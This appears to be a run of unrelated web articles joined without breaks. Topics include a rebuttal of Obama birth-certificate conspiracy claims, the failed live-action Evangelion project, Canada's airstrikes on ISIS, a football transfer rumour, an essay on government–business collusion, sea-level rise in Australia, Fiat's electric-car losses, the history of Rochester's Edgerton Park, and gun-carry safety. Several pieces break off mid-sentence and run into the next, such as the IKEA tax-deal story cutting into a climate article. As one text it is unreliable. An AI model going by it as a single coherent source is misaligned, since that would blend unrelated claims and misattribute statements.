A court is hearing this case, so it must be serious — Any fool with a lawyer and a couple of hundred dollars can file a lawsuit. That’s one of the reasons why tort reform is so badly needed. Frivolous lawsuits cost consumers billions of dollars. Conservatives used to make that argument, at least until Phillip Berg filed this lawsuit.
Why isn’t Obama answering the lawsuit? — Maybe because it’s ridiculous, and Berg has no standing to file it anyway.
Why not produce the birth certificate? — Obama has … twice now, once on his website and once to Fact Check.
Well, then, why didn’t he produce it sooner, smart guy? — Sooner than what? This came up at the end of the primaries, and the Obama campaign produced it within a couple of weeks. So far, that hasn’t done much to quell the conspiracy theories.
Why not produce the original birth certificate? — Most people, I’d wager, don’t have their own original birth certificate. If you applied to get your records, in most states you’d get what Obama has – a certification of live birth spit out from a computer system. I doubt Hawaii has the original record any longer, either. The certification proves citizenship well enough to get a passport.
Let’s stop chasing absurd conspiracy theories that make it more difficult to win the real arguments in this election. Stick to Obama’s absurd theories on national security, his radical political allies, and his disastrous economic policies that will make these past few weeks seem like a breeze. He’s the wrong man for the job, but still an American.
Update: To answer another question (reasonably asked in the comments), Barack Obama’s Indonesian stepfather could not have revoked Obama’s birthright as an American citizen, no matter what he told the school Obama attended.
Screw Loose Change has dealt with Phillip Berg before. It turns out that Berg thinks Bush and Cheney either created 9/11 or let it happen deliberately. Conspiracy theory nuts don’t usually stop at one paranoid fantasy, and this demonstrates it. It turns out he has quite a history of lawsuits and publicity stunts, and this was written at the beginning of 2007. (via Public Secrets)Movie buffs love to talk about “the greatest movies never made,” many of them being science fiction, fantasy, or horror projects. Anime fans, too, speculate about projects that were never produced—but one of the most notorious of all such possible projects wasn’t an anime per se. Rather, it was a prospective live-action adaptation of one of anime’s most controversial and seminal works: Neon Genesis Evangelion.
2003: The first stirrings of rumor
In 2003, Weta Workshop Ltd. was best known as the New Zealand-based special effects company that helped Peter Jackson realize the three Lord of the Rings films. In the wake of the release of the final Lord of the Rings film, though, rumors began to circulate that Weta was involved in an anime fan’s dream project: a live-action Evangelion. While a few live-action productions had been made from anime properties—e.g., Crying Freeman (1995) comes to mind—nothing had been made that remotely approached the scope or the budget of the Rings films. To have an anime-inspired project of such a level of prestige was a thrilling idea … but at that point, it was an idea, and nothing more.
Rumor became fact when Weta made a joint announcement at the 2003 Cannes Film Festival, along with Gainax, creators of Evangelion, and ADV Films, Evangelion’s North American distributor. The announcement claimed that all three parties were indeed collaborating on such a project. But what was most conspicuous was the lack of hard details: no projected budget, no director, no cast, no screenwriter, and no timeframe for production or release.
Not that any of that deterred anyone’s enthusiasm.
2005: “Profitmón!”
For the next few years, ADV’s John Ledford and Matt Greenfield set about doing the needed pavement-pounding to raise awareness, interest, and most importantly money for Evangelion: The Motion Picture.
Actually, make that Pictures, plural. As Lord of the Rings showed, one Evangelion movie might not be enough, and so in time, the plan was widened to possibly include three feature-length films as well.
But whether it was three movies or one, the biggest missing ingredient was money. And as a CNN.com article entitled “It's... Profitmón!” noted, some $100 to $120 million would need to be raised to get the film made. The 2005 article noted that at the time, “about half” of the money had been scared up, thanks also to the aid of Weta co-founder Richard Taylor.
Money or not, fan interest in the film remained white-hot, as the CNN.com article indicated: “Before [Taylor and a prospective investor] could sit down [to lunch], a fan recognized Taylor and asked him not about anything he's actually done, but about Evangelion. Taylor turned to the producer and said, ‘This is why we have to do this movie.’” Taylor also claimed that at the time, they were getting something like twenty-five emails about Evangelion for everyone they received about Lord of the Rings.
Their belief and it wasn’t a disputable one at the time was that the strength of the fanbase would make the project viable.
2006: Tekkoshocon and the Rumor Mill
Pittsburgh has been host to Tekkoshocon, an annual anime convention, since 2003. In April of 2006, the convention allowed representatives from ADV Films—Greenfield and English-language Evangelion voice actress Tiffany Grant—to hold court with fans about the Evangelion live-action project.
As described at the EvaGeeks wiki, several surprising details emerged during that panel. First was how the project came together: apparently, it was Weta, home to more than a few anime fans, who had first approached ADV and posed the idea of a live-action film. ADV, in turn, approached Gainax, who were excited about the idea and lent their support.
Likewise, ADV had been approached by three unnamed “A-list” directors who were also Evangelion fans as possible helmsmen for the project. Another remarkable tidbit was how Robin Williams, himself a fan of the show, lent his support to ADV’s “pitch package”—a bundle, including some video, sent to prospective investors to drum up interest.
But a number of other rumors were also swiftly debunked. No, Daniel Radcliffe and Emma Watson had not been approached to play characters, not least of all because they were way too old. No, they didn’t even have a cast in mind, because they needed a director first. And finally, no, the project had not yet even been formally greenlit.
2006: A Glimpse at a Possible Future
Not long after the 2006 panel, Weta Workshop updated its website with some of the first hard visual evidence of the live-action Evangelion being more than just a twinkle in Greenfield, Ledford, and Taylor’s eyes: concept art for the project.
As archived at io9.com, the dozen or so images shown reproduced with great fidelity many key images and visual concepts from the show. The half-devastated future setting; the alien “Angels”; the “plugsuits” worn by many characters—it was all there. If nothing else, Weta seemed determined to preserve everything about Evangelion that made it what it was, at least as far as the visuals went.
Tantalizing as it all was, fans were irked by another wrinkle: how that the names of characters in the concept sketches had been Anglicized—e.g., Asuka Langley Soryu became “Kate Rose.” This was eventually fixed, but many fans were sore over the idea of the majority of the cast being whitewashed or “race bent” away from being Asian.
Was this a sign the producers of the film were getting cold feet about the prospect of selling the project to Western audiences who didn’t know what Evangelion was? Perhaps not—the ADV/Weta nexus was pretty insistent on keeping the casting faithful—but it hinted at how tough the audience might be to please, and how thorny the issues involved.
They turned out to be far thornier than most anyone imagined.
2008: Tremors of Anticipation—and Trouble
In 2008, Greenfield and Ledford once again held court at an anime con to bring people up to date on the state of the project. This time the venue was Anime Expo, a massive West Coast con—but as described in an Anime News Network post, this time the mood was tense, not anticipatory.
By 2008, ADV had started to experience the first of several setbacks to their business. One of their Japanese business partners, Sojitz, with whom they had a licensing deal, was rescinding its support and terminating several of their anime licenses with ADV. Worse, ADV’s biggest competitor, FUNimation, had just licensed and released some thirty titles previously issued by ADV.
In time, though, questions about the Evangelion movie came to the fore. ADV revealed Steven Spielberg and Jerry Bruckheimer, fresh from their successes with the Transformers and Pirates of the Caribbean films, had been wooed as possible partners. But again, still, no actual start date or other hard details were in the offing.
In February 2009, at Ohayocon, ADV remained optimistic. According to a post at MovieChronicles.com, Greenfield stated that “several U.S. studios [were] competing for final rights to the project.” Word also surfaced of another co-producer, Joseph Cho, who’d worked on the Appleseed: Ex Machina series.
But by September 2009, the “when” for the live-action Evangelion project suddenly seemed a lot more like an “if.” ADV was going out of business.
2009: Death and Rebirth
The full details of ADV’s demise and restructuring might well fill a book. But the core details can be summed up this way: the one-two punch of a weakening anime market and the withdrawal or shutdown of two major ADV partners—first Sojitz, and then Geneon (which later went through a restructuring of its own)—forced ADV to sell off its assets.
Many of ADV’s holdings and intellectual properties were transferred to five other companies, the most prominent of which were Section23 Films and Sentai Filmworks. In essence, this was ADV restructuring itself and attempting to continue as much of its former business as possible under new names and corporate entities.
The drastic scope of the whole arrangement made it easy to believe the Evangelion film was at the very least on hold, if not entirely dead. But two years later, after ADV had morphed into Sentai/Section 23 and started licensing new titles, yet another surprise emerged that put any talk of a movie project on hold, possibly for keeps.
2011: Lawyers, Gainax, and money
In 2011, ADV brought a lawsuit against the last people anyone would ever imagine ADV wanting to sue: Gainax itself, the creators of Evangelion, and ADV’s own vital partner in the project.
The details of the suit, as claimed by ADV and reported at Crunchyroll, shed a great deal of light on the intellectual property arrangements between the two companies. Back in 2003, ADV and Gainax co-signed an agreement that allowed the development of multiple Evangelion properties: “at least three (3) live-action theatrical motion pictures, five (5) television programs and three (3) direct-to-video movies products (each, a “Project”).” The option (ADV claimed) was good through February of 2010.
Here’s where things get complicated. ADV alleged that Gainax allowed them to buy outright the motion picture rights for Evangelion, for keeps. Or, as an Anime News Network analysis quoted it, “ADV's ownership of copyrights in relation to Evangelion (e.g. the Motion Picture Rights); namely, throughout the universe in perpetuity.”
The cost of those rights: either $1 million or 2% of the film’s projected budget, whichever was smaller, with 10% due when financing came through.
To that end, ADV paid Gainax $100,000—ADV’s claimed 10% since no budget had apparently been set for the project—along with a series of extension fees. ADV then claimed some hesitation on Gainax’s side caused ADV to lose out on “a major studio opportunity … ADV gave notice of that loss to Gainax.”
Perhaps hesitation wasn’t the most fitting word. In ADV’s eyes, Gainax was backing out of the deal entirely. By July of 2011, Gainax had retreated heavily from its original position of partnership. It had sent back ADV’s $100,000, along with correspondence claiming “implied conditions [were] required to purchase the motion picture rights.” ADV’s response was to sue and demand that their previously-claimed rights to make the film be granted.
As of September 2013, the case appears to still be pending, with neither side having budged an inch.
So what now?
None of this legal foofaraw has stopped the creators of the original Evangelion from creating a retelling of the original story, Rebuild of Evangelion, with many of the same creative minds involved. And it’s been FUNimation, not ADV or Sentai, who have been distributing the series in English.
But lawsuits and new intellectual properties aside, there may be a number of other reasons why a live-action Evangelion film may never see the light of day.
1. The cost vs. the size of the prospective audience
A project of the scope and ambition of Evangelion wouldn’t be cheap. The original projected $100 million budget would be easily twice that today, thanks to the way filmmaking costs have ballooned since the early 2000s. The problem is how to earn that money back: are there $100 to 200 million worth of Evangelion fans, even worldwide?
Such a movie would need to appeal to as wide an audience as possible. But that would, in turn, mean running the risk of the project becoming something other than Evangelion.
2. The difficulties with the source material
As influential and popular as Evangelion is, it’s also controversial and divisive, even amongst anime fans. The bleakness of the material—especially the astonishingly downbeat ending—makes it an even tougher sell to mainstream audiences.
Rebuild of Evangelion was created in part as a way to address some of those issues, but even it only goes so far. And if anime fans themselves aren’t uniform in their support of the show, it’s even less likely that others will be.
Such a film might get made, but it might never make a profit. Taylor himself admitted that getting the film made was more important to him than having it be profitable, but whether or not another, more pragmatic producer might think the same way is unknown.
3. The general track record of anime-related live-action projects
Few people would dispute the phenomenal financial success of the recent spate of comic-book movies: Christopher Nolan’s Dark Knight trilogy; Man of Steel; The Avengers. But live-action anime projects have been less lucky. Speed Racer, Dragonball Z: Evolution, and Blood: The Last Vampire barely made a dent at the U.S. box office; Crying Freeman, Rurouni Kenshin, Shinobi (a/k/a Basilisk), Mushi-shi, and many others either received only extremely limited release or went straight to video. Those that were Japanese productions, though, typically made back their earnings in their native country..
Anime might well have a solid following, but that following hasn’t translated into the kinds of audience numbers needed to justify big-budget productions. Pacific Rim, which was at least partly inspired by mecha shows like Evangelion (if not Evangelion itself), cost some $190 million to make but only grossed slightly over $100 million domestically. Its worldwide gross of about $400 million helped make it break even, though—but numbers like that inspire caution rather than ambition.
If live-action anime has a future in the West, it’s most likely in two forms: modestly budgeted projects, like Rim director Guillermo del Toro’s adaptation of the anime, or most robustly-budgeted projects created and released primarily in Asia where the core audience for the material lies. Whether something as massive, and problematic, as Evangelion could ever get off the ground in the West is now anyone’s guess.Just days after being elected, Prime Minister Trudeau announced that Canada will withdraw its fighter jets from the American-led mission to eradicate ISIS in Iraq and Syria. Trudeau has pledged to end Operation Impact—Canada’s combat mission in Iraq—and this is a step in that direction, though as of yet there is no clear timeline for the withdrawal. Canada has worked with coalition partners to combat ISIS for just over a year. What have we contributed in that time?
Since September 2014, Canada has actively been part of a coalition of countries seeking to eradicate ISIS. That group includes twelve other nations conducting airstrikes in Iraq and/or Syria.
As of November 18, Canada has contributed just over 200 air strikes in the area. Our greatest contribution to date came in July, when Canada’s fighter jets conducted 50 air strikes.
The vast majority of Canadian strikes have taken place in Iraq, with the greatest number occurring in the country’s north.
As part of Operation Impact, we have provided Canadian Air Force personnel, aircraft and special advisers to the international mission.
In addition to the advisers and aircraft, there are approximately 600 Royal Canadian Air Force personnel have been deployed as part of Joint Task Force-Iraq. They are not part of a ground combat mission, however; they work with the other coalition countries to advise and assist the Iraqi government with their security forces.
When compared with the rest of the coalition, how much does this contribution amount to?
Related: Where is Canada in the crowded skies above Syria?It won’t be 9 feet tall and blue, but all backers will now receive a special exclusive in-game Multiplayer Avatar commemorating your part in making Season 2 a reality! The design hasn’t been finalized yet, but rest assured, it will make it clear to everyone out there that you came through when we needed it for Season 2.
Information about how to claim your Multiplayer Avatar will be included in the BackerKit survey that will go out after the close of the campaign.
Rift in Time
With $90k now in our rearview mirror, it’s time to focus on $95k, and the Season 2 Preview Pack. We know that you all would love to play with Setback versus Chokepoint in the Temple of Zhu Long well ahead of the release of Vengeance later this year, and when you take us over $95k, that’s exactly what will happen. Keep up the momentum Sentinels!Stevan Jovetic: Could leave Manchester City for Inter Milan
Inter Milan are considering a move for Manchester City striker Stevan Jovetic this summer, the club's sporting director has confirmed.
Jovetic is one of a number of players tipped to leave City this summer having started only nine games in the Premier League this season.
Liverpool are reported to be interested in the Montenegro international, but Inter could be ready to offer the former Fiorentina man the chance to return to Italy.
"There are many players that we are evaluating at this moment," Piero Ausilio said.
"Jovetic is one of them and I don't know whether Manchester City put him on the market or not.
"We need to bring in a few players. It's not a question of quantity, but of quality. They must be talented, useful and functional to the project."Submitted by Jim Quinn via The Burning Platform blog,
The recent deal to keep Carrier jobs in the United States is not at all unusual. It only received so much press because Trump made it a campaign issue and saw an opportunity to record a big early PR victory before he even took office. Government and corporations cooperate, negotiate deals, scratch each others backs, kickback ill-gotten gains, and function as a career advancement funnel for corrupt politicians.
In reality, the intertwining of government and big business meets the definition of fascism. A centralized autocratic government that picks winners and losers, while suppressing un-favored companies or industries, meets the definition of fascism. Fascists let business remain in private hands, but use regulations, laws, tax benefits, and the distribution of goodies to control the economy. Big business serves politicians and government bureaucrats instead of their customers.
Our corporate fascist economic system benefits big businesses who have hundreds of lawyers, lobbyists, tax specialists, and accountants to comply with the tens of thousands of government regulations, indecipherable tax code, and ridiculous laws, while small businesses are driven into the ground. Small businesses have no political influence and no ability to influence the corrupt system. The big connected conglomerates receive the government subsidies, tax breaks, and preferential treatment. Corporate fascism at its finest.
This is the definition of the Deep State. The military industrial complex, sick care complex, and Federal Reserve puppeteers on Wall Street maintain their power by financing the Deep State through their network of political lobbyists, captured journalists, manipulated think tanks, easily controlled bureaucrat lackeys, and congressional staffers who work in the shadows to create government policy favoring their special interests. Examples of this process in action can be seen in the purposely toothless Dodd Frank legislation and an Obamacare plan benefiting insurance, drug and hospital conglomerates.
The hard line libertarian view is all markets should be totally free. The government should only insure property rights are respected, while leaving people and companies to operate free of constraints, regulations and burdensome taxation. This is a childishly simplistic view of the world. Humans are extremely flawed creatures, susceptible to greed, arrogance, hubris, over-confidence, anger, vengeance, pride, envy and wrath. Whenever humans achieve positions of power they tend to become corrupted and seek to further their power and take actions to retain that power.
This is the real world. It is not going to change. The pendulum swings from the right to the left and back again, but smaller less intrusive government is not in the cards. Tax breaks are the carrots, while laws and regulations are the sticks used to keep big business and big government working in concert and reaping the rewards of a corporate fascist system. Do you ever wonder how life long congressmen, who never earned more than $170,000 per year, “retire” from government service as multi-millionaires? Do you ever wonder how one week after “retiring” from government service they land multi-million jobs with the big businesses they were supposed to regulate?
Over the course of my career I’ve been involved in and witnessed numerous instances of corporate deals with the government – some good, some bad, and some ugly. I’ll detail a few and let you decide whether they benefited society as a whole.
IKEA Elizabeth Success Story
I had joined IKEA in 1989. They had entered the U.S. in 1985 with a successful store in Plymouth Meeting, PA. They followed up with another successful store in the Potomac Mills Mall in Virginia. Then there were back to back duds in Baltimore and Pittsburgh. The U.S. operations were losing $30 million per year on revenues of $150 million. The Scandinavian leadership in Denmark were losing confidence in the U.S. as a market.
My boss, the CFO, and the head of the retail division made a huge gamble by negotiating a high risk acquisition of an enormous parcel of land from the Port Authority of New Jersey. The property was on the New Jersey Turnpike, in Elizabeth, across from the Newark Airport. Elizabeth NJ is an absolute pit. It makes West Philly seem upscale. The property we were buying from a governmental agency had been utilized as an illegal dump for decades. It was an EPA Superfund site. IKEA assumed all the risk for what might be uncovered as we proceeded to excavate the site.
As an incentive to take such a large business risk, the city and the Port Authority agreed to make the site an urban development zone. This allowed IKEA to charge only 3% sales tax, when the NJ rate was 6% and the NYC rate was 8%. For a high ticket retailer this tax advantage was huge. At the same time we received a 10 year property tax abatement, paying 50% of the going rate. IKEA agreed to hire a certain percentage of people from Elizabeth. At the same time, our high priced tax lawyers -McDermott, Will and Emory – |
levels is primarily caused by melting sea ice and the thermal expansion of the oceans as they warm.
Oceanographer Dr John Hunter told Guardian Australia the eastern seaboard of Australia is experiencing slightly larger increases in sea level than the west coast.
“Overall, we’re looking at a sea level rise of 0.5m and 1m by the end of the century, which will increase the frequency of flooding events and enhance the erosion of muddy and sandy shorelines,” he said.
“As a rule of thumb, for every 10cm of sea level rise, you get a trebling of flooding events. And that’s not accounting for houses also near rivers that have to deal with flooding from increased rainfall.
“The sea level rise is likely to accelerate. We will get to a time where there are areas of the coast where it’s simply not worth building a house. At some point, a government will need to decide it’s important enough to put together a plan.”
Last year, the NSW government announced that local councils were no longer required to use previous sea level rise benchmarks for 2050 and 2100.
A spokesman for the NSW department of planning and infrastructure said the government was drawing up new guidance for councils.
"Councils are encouraged to give local sea level rise projections due and proper consideration," he said. "However, there is nothing to stop a council using the IPCC projections.
"This approach is in line with the government’s commitment to return planning powers to local communities. It will give certainty and consistency for councils, property owners, property buyers, solicitors and conveyancers.
"The decision to remove the state sea level rise planning benchmarks was the first stage of a comprehensive review of coastal management in response to concerns raised by communities and councils regarding previous coastal erosion reforms."‘Ssumday’ is now a free agent.
Kim “Ssumday” Chan-ho posted a short message via his SNS today. He wrote that his contract with Dignitas has expired and he is now open for offers. According to his SNS, Ssumday is now in the transfer market as a free agent.
Ssumday began his professional career last 2013 in kt Rolster. He earned himself the nickname ‘Crazy High school kid’ with his unbelievable control. Ssumday went from kt Bullets to the Arrows and defeated Samsung Blue to become an LCK champion. Afterwards, he went to the Dignitas of NA and performed as a key player there as well.
Meanwhile, Dignitas failed to participate in the NA LCS and is uncertain of the next season. It isn’t known if Ssumday will renew his contract with Dignitas or if he’ll sign with another NA LCS team, or maybe return to LCK.
▲ Ssumday's SNS postThe CEO of Fiat Chrysler said he hopes that people don’t buy his company’s electric car, the Fiat 500e, which he is forced to sell at a loss because of state and federal mandates.
“I hope you don’t buy it because every time I sell one it costs me $14,000,” Sergio Marchionne told the audience at the Brookings Institute during a discussion of the auto bailout.
As head of Fiat in 2009, Marchionne stepped in to help guide Chrysler through the auto-bailout and out of bankruptcy.
“I’m honest enough to tell you that I will make the car, I’ll make it available which is my requirement but I will sell the limit of what I need to sell and not one more,” said Marchionne.
Fiat Chrysler produces two Fiat 500s. The gas-powered Fiat 500 has a base price of $17,300. The electric Fiat 500e runs $32,650, according to Reuters.
In his candid remarks, Marchionne blamed regulations set in place in California and by President Obama.
“Because of California and their mandates which keep on moving the impositions back on car makers to produce cars that are zero-emission vehicles,” said Marchionne.
“The other one is because of the initiative that was put in place by Obama back in 2011 with the new emission rules which are effectively binding the industry until 2025.”
California’s Zero Emission Vehicle standard requires a certain percentage of car makers’ vehicles to have no emissions. That standard is currently at around one percent of company vehicles sold, though it is scheduled to increase to 16 percent of vehicles sold by 2025.
Obama’s plan will force cars and light trucks to meet certain fuel-mileage requirements by 2025.
Marchionne said that the only car manufacturer making money in the electric car segment is Tesla, which sells at a higher price point.
“If we just build those vehicles,” said Marchionne, “we’ll be back…in Washington asking for a second bailout because we’ll be bankrupt by Christmas.”
In an auto industry speech last year, Marchionne broached the topic of electric cars and government regulations, calling them “masochism to the extreme”, according to the Los Angeles Times.
“I believe that we could continue to explore the potential of electricity, but without being strong-armed by regulators,” he said at the time.
Follow Chuck on Twitter1923, Edgerton Park.
Max Frisch, Swiss novelist (and architect) once said, “Time does not change us. It just unfolds us.”
True, I think. Like maps, our lives unfold until all is revealed. And so it is with cities, as we unfold the stories of their places time after time.
I have been unfolding the stories of a particular portion of our city for quite a while. It has taken me months to put the pieces together to create an unfolded map of just this one particular spot. The stories crisscross back and forth over a very long time in our city – 165 years to be exact. Get comfortable – this one is going to take a while.
This particular place in our city has had many names in many eras: Western House of Refuge, State Industrial School, Exposition Park, and finally Edgerton Park (named in memory of former mayor Hiram Haskell Edgerton, who has appeared in our pages previously).
Just under 40 acres, this place has been home to juvenile delinquents, trade school students after the children’s prison was reformed in the late 1880s, hundreds of thousands of Rochesterians from across the entire city and region attending the annual Exposition from 1911 until the late 1940s, Glenn Miller and his orchestra, the 1950-51 NBA Champion Rochester Royals, high schoolers (Jefferson High School is a part of this site), model train buffs, and today neighbors and all kinds of recreators. It’s an amazing, complicated place. The map across time of Edgerton Park is really a guide to the changing life of our city.
For me, it all started with this:
A parade. It’s 1908, and Mr. Stone is showing us what was called the Industrial Exposition Parade. Moving up and down Main Street are floats exhibiting all manner of Rochester businesses: milliners and tailors, shoemakers, photographic supply houses – a long list of local enterprises. The notes accompanying the photograph explain that this parade was a precursor to the annual Industrial Exposition at Edgerton Park. Hmm, I thought – what the heck was that? I was puzzled – because today, Edgerton Park looks like this:
In the distance at the right is Jefferson High, and a bit to the left is the Edgerton Park Rec Center. And then: a running track, a children’s water park, tennis and basketball courts, and a whole bunch of ball fields. Sensing a rather large gap between what I could see and what I was beginning to sense were the other lives of this place, it was clearly time to investigate. Here we go.
In 1846, the State of New York created the Western House of Refuge. When complete, it was the first reform school in the United States – home to young delinquent boys. The place opened in 1849, with 50 children. By 1875, the legislature agreed that girls could be housed here as well, and the place kept growing, with more and more buildings added to house the swelling roll of inmates.
In 1870, the place looked like this:
And in 1872, like this:
A walled prison in a bucolic, ex-urban setting.
As the 19th century came to a close, reforming the reform school became an increasingly pressing matter. Corporal punishment was banned, hard labor reduced, bars on windows removed, real schooling instituted. In fact, by the late 1880s, the Western House of Refuge was renamed. It became the State Industrial School, and inmates were now taught trades in addition to their regular classes.
In 1900, the place looked like this:
That’s the Erie Canal running diagonally at the far left. The School had a tiny railroad that carried supplies (mostly coal) from the Canal to the building that housed the boilers, the dining hall and the power house.
And as you can begin to see, the city had moved out to and now surrounded the School. Time for change. In 1902 the State purchased 1,000 acres of land in what was then the nearby but very rural Rush, New York, and the move began. By 1907, the site was abandoned. Now what?
The City of Rochester bought the place, and transformed it into Exposition Park, home to what had begun as the Industrial Exposition Parade. Voila – now I was getting somewhere.
But before Exposition Park would open, a certain canny photographer visited the place to show us what it looked like as a reform school. Here are a few of the images Mr. Stone shared with us.
This is the Main Building and the main entrance to the School, facing east and Backus Street (Backus was an early Director of the Western House of Refuge). Mr. Stone took this image from the middle of Phelps Avenue.
The portion on the left, with the arched openings, is the chapel. Remember that part of this huge rambling building – you’ll need it later.
Demolition is underway – the boiler room/power house/dining hall is biting the dust in the middle ground. In the distance is the Main Building, and again the chapel is seen on the right. You’re looking east.
And finally, this, from 1910:
Looking north, towards the School. Streetcar tracks. In both directions. Remember this – it will become very important later. Very important.
So, with demolition complete, Exposition Park could open. From the looks of the parade in 1908, I expected to find that this annual event would prove to be some kind of glorified trade show. Boy, was I wrong.
Concerts:
1911.
I think the bandstand is one of the odder structures I have seen. Here’s another view, from 1922. To the left of the bandstand is the zoo, complete with apes and bears and ostriches.
The ostriches, in 1917.
Exhibitions by the Historical Society:
1913.
Art Exhibitions:
1912.
Every manner of sports competition imaginable, but lots and lots of horse contests of various kinds:
1919.
In 1918, the place looked like this:
Here’s Mayor Edgerton opening the Expo sometime in the 19 teens:
Oh sure, the latest technologies were showcased:
Yes, that’s a lawnmower – 1920.
And as time passed, lots and lots of car exhibitions:
1924.
A couple of favorite exhibitions from this period include:
This is an exhibition of stolen autos, held in 1920.
The cars were stolen in the midwest, but shown here. Hmm.
And this one:
An exhibition of “Fruit Diseases and Injurious Insects,” 1921.
Huge crowds were the norm. Here are two views. Often these events were at the 4th of July, or revolved around patriotic events linked to World War I.
4th of July, 1917.
4th of July, 1918.
I could go on, and on, and on. Clearly this place was at the heart of city life in those days. Folks could hop on a streetcar, or later the subway, and then walk a block and join the throngs. It must have been an amazing place – a kind of annual mini-World’s Fair. The more I looked, the more astonished I became at the heady life of this place.
Here’s Edgerton Park in 1926. By then, Mayor Edgerton was gone, and the place had taken his name.
Notice that the Erie Canal is gone now, and in its place, at the far left, is the word “Transit.” This was our beloved subway.
You could get to Expo Park by subway, or by streetcar on one of at least two car lines. Kodak Park was only a few blocks south, and this part of the city was dense and bustling.
But more. After his death, a monument to Mayor Edgerton was erected, and it looked like this:
1929.
It’s on the left, in front of the peristyle where visitors bought their tickets. I have not been able to figure out what happened to the monument – it’s gone, but I don’t know where. Maybe you know.
Back to the Expo. Every year one of the most wonderful features was the baby contest.
That’s Richard Eyer and Doris Sedgwick, in 1926.
There are many images of this particular event – apparently a favorite of Mr. Stone’s. Here’s another:
Virginia Grace Coxon, in 1923.
The Expo survived the Depression, and went strong until the 1940s. But it faded after World War II, and I couldn’t figure out what happened, or why.
I knew that hockey was played in the old arena in the late 40s and 50s. I knew that the Royals (now the Sacramento Kings) won the NBA championship here in game seven of the 1950-51 season. I knew that the PAL (Police athletic League) started a fabulous model train layout in the 50s, aimed at giving children something creative to do, and which thankfully survives. But I could not figure out how the place went from being at the heart of the city to being a big neighborhood park.
Today, a few more views.
First, a view of the park in almost the same place as Mr. Stone’s image of 1910 – the middle of Phelps Avenue looking west at the chapel. Remember the chapel? Good. There it is – the Edgerton Park Rec Center.
And here, a view looking toward what was once the Erie Canal, then the
Rochester Subway, and today a berm.
And here, another view of the park today.
Today, the park is an important part of the neighborhood. A few events at the park draw folks from across the city – dances, the model trains, athletic contests, the water park, and others. And the city is conducting a few special events in this, Expo/Edgerton Park’s centennial year.
But as the city dispersed after World War II, and Kodak dwindled, and the car took over the streets, the park went from central to the life of the city to peripheral, at best.
It’s this last part that I could not figure out. What was it that pulled the plug on this place? Dances and concerts continued into the 50s. Glenn Miller – yikes. Basketball – big time. Hmm.
And then last week, the last piece of the puzzle emerged. We had lunch with some of Amy’s long time family friends, from her old neighborhood. She baby-sat for the family, and the matriarch of the family, an M.D., grew up in the Edgerton neighborhood. She remembered the Expo, and the concerts and the music. She remembered the dances especially, jitterbugging into the night.
She said: “Things were different after the War (World War II).” And then the light went on, at last.
The city pulled out the streetcars in 1941. Symptomatically, Expo Park ceased in 1947.
And the subway ceased in 1956. In 1957 the former World Champion NBA Rochester Royals moved to Cincinnati, and thence to Sacramento.
Our lives changed radically here in the late 1940s and into the 1950s, like lives in cities across the nation. Edgerton Park, so long a central part of the life of the city, was now abandoned, and marooned. The river of city life had shifted, and today the map shows only a small creek where once had been a mighty stream. Chapter closed.
Today Edgerton Park remains an important place in our city. While the neighborhood is poorer than the old days, and abandoned buildings are visible, it would be wrong to underestimate the role the place continues to play in the life of the city. But there are no more throngs, no monuments to beloved mayors, no baby contests, no exhibitions. The city does not teem to the park on the 4th of July. It’s pretty quiet now.
165 years in the life of any city is a long time. Edgerton Park has unfolded before my eyes, from prison to school to gathering place to home for great city moments, and now, simply, a park.
Perhaps we made some mistakes along the way. The future’s map is unclear. But certainly we will not go back to where we have been.Off-body carry is a lot like treating a gun like a talisman. If just having a gun somewhere nearby would ward off criminals, then it’s great. But if you actually need to use your firearm, well…not so much. Actually drawing and presenting a firearm from an off-body carry solution is generally more difficult than most people appreciate. Give it a try sometime. Stick an (unloaded or training) gun in a briefcase, purse or backpack, close it as you would if you were walking down the street, then try to draw and present under time pressure. Then try to picture how long it would take you to do that under real stress...
That was enough to convince me that off-body carry wasn’t worth it. Then, when you add in the necessity of keeping your briefcase, purse, day planner, or fake iPad case with you at all times, well, that’s enough for me. The firearm stays on the hip, in a pocket, over the shoulder, or even a compression T-shirt holster, as the situation warrants. If the gun comes off the body, it’s secured.
I remember the anxieties I had when I first joined the ranks of the armed citizenry, and briefly entertained the idea of going down the off-body carry road. That was back when when the idea of carrying my (in retrospect, hilariously tiny) Kahr MK9 in a OWB holster underneath my leather jacket seemed like an edgy move. I do, however, understand why people new to the whole concealed-carry lifestyle might be attracted to off-body carry.
It is to them in particular that I say: it’s not a good idea. In time, you will figure out a workable on-body carry solution. There are a lot of options out there. There are quality holster makers who offer money-back satisfaction guarantees. You will find something that works for you, what you carry and how you dress.
Why do I bring this up?
Well, this happened.
A 3-year-old boy shot his father and pregnant mother over the weekend inside a hotel room in Albuquerque, New Mexico. Police say the boy removed a handgun from his mother’s purse Saturday and fired one shot, striking his father in the lower backside.
When heading out beyond the wire carrying a firearm of some kind, maintaining control of it is one of the day’s most important objectives. With off-body carry, you are risking both loss of control as well as sacrificing ease of access — generally for the sake of fashion and convenience. If fashion and convenience are your highest objectives for the day, then either reevaluate your priorities or leave the shootin’ iron at home. Your mind isn’t in the right place for carrying a firearm today. Know thyself.
If plan “A” involves a method of carry that the only alternative is a situation where you might end up leaving a firearm in a place where it can be accessed by someone else or stolen, well, it’s time to opt for plan “B”. Never forget: the best of intentions do not count for anything in the world of firearms — not in firearms law, not in trajectories, not in penetration, not in financial consequences, and certainly not in moral obligations.
Social norms and fashion in 21st century America being what they are, this issue is salient among women who choose to carry a firearm. Since women are increasingly purchasing firearms for their own use, this is something that our community should address.
I have, in my time, also heard more than one well-intentioned (there’s that phrase again) significant other from the male of the species who is so tickled pink that his wife/girlfriend is thinking about carrying a pistol that he’ll suggest that she “just throw it in her purse” without thinking through the risks that it entails.
Kathy Jackson, a firearms instructor from the Pacific Northwest, who has spent a bit of time thinking and writing about issues related to women who carry firearms agrees that off-body carry isn’t always the best policy.
I’m not a fan of carrying a handgun off-body. While I understand that some women literally have no other viable choices, my suspicion is that most women who carry in a purse do so as their default option, or because they have never given on-body carry the serious consideration it deserves….
Ms. Jackson hits it out of the park here:
